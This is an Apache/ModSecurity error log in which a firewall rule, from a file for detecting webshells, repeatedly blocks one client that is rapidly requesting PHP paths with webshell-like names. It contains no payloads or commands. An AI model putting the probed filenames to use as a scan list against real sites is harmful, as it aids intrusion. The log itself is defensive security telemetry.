[Sun Mar 22 18:59:13.335182 2026] [:error] [pid 51363:tid 51441] [client 68.221.64.113:13795] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ab_LgVwa9x6OCTRkhl2D0gAAAIw"]
[Sun Mar 22 18:59:14.064961 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:23778] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ab_Lglwa9x6OCTRkhl2D1gAAAJQ"]
[Sun Mar 22 18:59:14.714735 2026] [:error] [pid 51363:tid 51429] [client 68.221.64.113:14056] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ab_Lglwa9x6OCTRkhl2D2wAAAIE"]
[Sun Mar 22 18:59:16.364340 2026] [:error] [pid 51363:tid 51451] [client 68.221.64.113:46753] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ab_LhFwa9x6OCTRkhl2D6QAAAJU"]
[Sun Mar 22 18:59:17.521915 2026] [:error] [pid 51361:tid 51378] [client 68.221.64.113:35081] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ab_LhRXYUsdvKC9YWpXSVgAAAAc"]
[Sun Mar 22 18:59:18.265546 2026] [:error] [pid 51363:tid 51433] [client 68.221.64.113:4431] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ab_Lhlwa9x6OCTRkhl2D9gAAAIU"]
[Sun Mar 22 18:59:18.981491 2026] [:error] [pid 40039:tid 40046] [client 68.221.64.113:22517] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ab_Lhh3aDgUJfBYishmh2QAAAQU"]
[Sun Mar 22 18:59:19.970791 2026] [:error] [pid 40039:tid 40063] [client 68.221.64.113:10746] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ab_Lhx3aDgUJfBYishmh3gAAARY"]
[Sun Mar 22 18:59:20.979934 2026] [:error] [pid 51361:tid 51397] [client 68.221.64.113:10721] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ab_LiBXYUsdvKC9YWpXSWgAAABg"]
[Sun Mar 22 18:59:22.112346 2026] [:error] [pid 51362:tid 51415] [client 68.221.64.113:10722] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ab_LisOwPm3DXzTDjUebKwAAAE4"]
[Sun Mar 22 18:59:22.950219 2026] [:error] [pid 51468:tid 51493] [client 68.221.64.113:14024] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "ab_Lik2TppSvA8W5CBQ9FAAAANE"]
[Sun Mar 22 18:59:23.614620 2026] [:error] [pid 30166:tid 30197] [client 68.221.64.113:35080] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "ab_Li7m4_26jKMD0zy3MQAAAAVQ"]
[Sun Mar 22 18:59:24.250772 2026] [:error] [pid 51468:tid 51495] [client 68.221.64.113:43244] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "ab_LjE2TppSvA8W5CBQ9FwAAANM"]
[Sun Mar 22 18:59:25.369767 2026] [:error] [pid 51363:tid 51452] [client 68.221.64.113:39536] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "ab_LjVwa9x6OCTRkhl2D_wAAAJY"]
[Sun Mar 22 18:59:25.974630 2026] [:error] [pid 51363:tid 51442] [client 68.221.64.113:8600] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "ab_LjVwa9x6OCTRkhl2EAwAAAI0"]
[Sun Mar 22 18:59:26.572966 2026] [:error] [pid 51363:tid 51441] [client 68.221.64.113:15926] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "ab_Ljlwa9x6OCTRkhl2EBgAAAIw"]
[Sun Mar 22 18:59:27.507367 2026] [:error] [pid 51362:tid 51422] [client 68.221.64.113:5029] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "ab_Lj8OwPm3DXzTDjUebMAAAAFU"]
[Sun Mar 22 18:59:28.491079 2026] [:error] [pid 51468:tid 51499] [client 68.221.64.113:24175] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "ab_LkE2TppSvA8W5CBQ9HAAAANc"]
[Sun Mar 22 18:59:29.414396 2026] [:error] [pid 30166:tid 30183] [client 68.221.64.113:22511] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ab_Lkbm4_26jKMD0zy3MRAAAAUg"]
[Sun Mar 22 18:59:30.406901 2026] [:error] [pid 51361:tid 51382] [client 68.221.64.113:8618] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ab_LkhXYUsdvKC9YWpXSZgAAAAs"]
[Sun Mar 22 18:59:31.002640 2026] [:error] [pid 30166:tid 30176] [client 68.221.64.113:8594] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ab_Lk7m4_26jKMD0zy3MRgAAAUU"]
[Sun Mar 22 18:59:31.757612 2026] [:error] [pid 30166:tid 30189] [client 68.221.64.113:46178] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ab_Lk7m4_26jKMD0zy3MSwAAAU4"]
[Sun Mar 22 18:59:32.507087 2026] [:error] [pid 51468:tid 51481] [client 68.221.64.113:4442] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ab_LlE2TppSvA8W5CBQ9JQAAAMU"]
[Sun Mar 22 18:59:33.284699 2026] [:error] [pid 40039:tid 40041] [client 68.221.64.113:8947] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ab_LlR3aDgUJfBYishmh9AAAAQA"]
[Sun Mar 22 18:59:34.100631 2026] [:error] [pid 30166:tid 30193] [client 68.221.64.113:8842] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ab_Llrm4_26jKMD0zy3MTwAAAVI"]
[Sun Mar 22 18:59:34.994946 2026] [:error] [pid 51468:tid 51479] [client 68.221.64.113:8337] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ab_Llk2TppSvA8W5CBQ9KAAAAMM"]
[Sun Mar 22 18:59:36.429345 2026] [:error] [pid 51362:tid 51404] [client 68.221.64.113:23756] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "ab_LmMOwPm3DXzTDjUebPAAAAEM"]
[Sun Mar 22 18:59:37.220605 2026] [:error] [pid 51362:tid 51424] [client 68.221.64.113:37600] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "ab_LmcOwPm3DXzTDjUebQwAAAFc"]
[Sun Mar 22 18:59:38.259009 2026] [:error] [pid 51362:tid 51402] [client 68.221.64.113:4542] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "ab_LmsOwPm3DXzTDjUebRQAAAEI"]
[Sun Mar 22 18:59:38.873781 2026] [:error] [pid 51362:tid 51420] [client 68.221.64.113:22484] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "ab_LmsOwPm3DXzTDjUebSQAAAFM"]
[Sun Mar 22 18:59:39.755879 2026] [:error] [pid 51363:tid 51429] [client 68.221.64.113:8359] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "ab_Lm1wa9x6OCTRkhl2EHAAAAIE"]
[Sun Mar 22 18:59:41.196774 2026] [:error] [pid 51362:tid 51417] [client 68.221.64.113:23356] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "ab_LncOwPm3DXzTDjUebTwAAAFA"]
[Sun Mar 22 18:59:42.016446 2026] [:error] [pid 30166:tid 30174] [client 68.221.64.113:37584] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "ab_Lnrm4_26jKMD0zy3MXwAAAUM"]
[Sun Mar 22 18:59:42.896802 2026] [:error] [pid 30166:tid 30193] [client 68.221.64.113:4970] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "ab_Lnrm4_26jKMD0zy3MZAAAAVI"]
[Sun Mar 22 18:59:43.660696 2026] [:error] [pid 40039:tid 40063] [client 68.221.64.113:5035] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ab_Lnx3aDgUJfBYishmiAAAAARY"]
[Sun Mar 22 18:59:44.505090 2026] [:error] [pid 40039:tid 40059] [client 68.221.64.113:43256] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ab_LoB3aDgUJfBYishmiAgAAARI"]
[Sun Mar 22 18:59:45.622916 2026] [:error] [pid 51361:tid 51387] [client 68.221.64.113:46170] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ab_LoRXYUsdvKC9YWpXSbQAAAA8"]
[Sun Mar 22 18:59:46.678358 2026] [:error] [pid 51362:tid 51417] [client 68.221.64.113:22952] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ab_LosOwPm3DXzTDjUebWgAAAFA"]
[Sun Mar 22 18:59:47.654482 2026] [:error] [pid 40039:tid 40049] [client 68.221.64.113:52194] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ab_Lox3aDgUJfBYishmiBAAAAQg"]
[Sun Mar 22 18:59:49.074450 2026] [:error] [pid 51362:tid 51416] [client 68.221.64.113:23332] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ab_LpcOwPm3DXzTDjUebaAAAAE8"]
[Sun Mar 22 18:59:51.025305 2026] [:error] [pid 51363:tid 51428] [client 68.221.64.113:28236] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ab_Lp1wa9x6OCTRkhl2EJAAAAIA"]
[Sun Mar 22 18:59:53.034696 2026] [:error] [pid 51362:tid 51409] [client 68.221.64.113:37589] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ab_LqcOwPm3DXzTDjUebfAAAAEg"]
[Sun Mar 22 18:59:54.089875 2026] [:error] [pid 51363:tid 51453] [client 68.221.64.113:23338] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "ab_Lqlwa9x6OCTRkhl2ELAAAAJc"]
[Sun Mar 22 18:59:55.854194 2026] [:error] [pid 51363:tid 51430] [client 68.221.64.113:33066] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "ab_Lq1wa9x6OCTRkhl2ENwAAAII"]
[Sun Mar 22 19:00:19.231321 2026] [:error] [pid 51362:tid 51415] [client 68.221.64.113:33073] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "ab_Lw8OwPm3DXzTDjUeb2AAAAE4"]
[Sun Mar 22 19:00:21.588248 2026] [:error] [pid 51363:tid 51442] [client 68.221.64.113:40146] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "ab_LxVwa9x6OCTRkhl2EmgAAAI0"]
[Sun Mar 22 19:00:22.497299 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:19395] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "ab_Lxlwa9x6OCTRkhl2EoAAAAJQ"]
[Sun Mar 22 19:00:23.527390 2026] [:error] [pid 51363:tid 51453] [client 68.221.64.113:4606] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "ab_Lx1wa9x6OCTRkhl2EpQAAAJc"]
[Sun Mar 22 19:00:24.704204 2026] [:error] [pid 30166:tid 30183] [client 68.221.64.113:55718] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "ab_LyLm4_26jKMD0zy3MkwAAAUg"]
[Sun Mar 22 19:00:25.468614 2026] [:error] [pid 51361:tid 51393] [client 68.221.64.113:21359] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "ab_LyRXYUsdvKC9YWpXSdQAAABU"]
[Sun Mar 22 19:00:26.304918 2026] [:error] [pid 51362:tid 51421] [client 68.221.64.113:55684] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "ab_LysOwPm3DXzTDjUeb6QAAAFQ"]
[Sun Mar 22 19:00:26.994571 2026] [:error] [pid 51362:tid 51422] [client 68.221.64.113:17467] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "ab_LysOwPm3DXzTDjUeb7AAAAFU"]
[Sun Mar 22 19:00:27.680965 2026] [:error] [pid 30166:tid 30190] [client 68.221.64.113:54210] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "ab_Ly7m4_26jKMD0zy3MmQAAAU8"]
[Sun Mar 22 19:00:29.366420 2026] [:error] [pid 51468:tid 51483] [client 68.221.64.113:10643] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "ab_LzU2TppSvA8W5CBQ9WgAAAMc"]
[Sun Mar 22 19:00:30.273954 2026] [:error] [pid 51363:tid 51439] [client 68.221.64.113:24127] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "ab_Lzlwa9x6OCTRkhl2ErgAAAIo"]
[Sun Mar 22 19:00:31.357600 2026] [:error] [pid 51363:tid 51437] [client 68.221.64.113:43745] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "ab_Lz1wa9x6OCTRkhl2EtgAAAIg"]
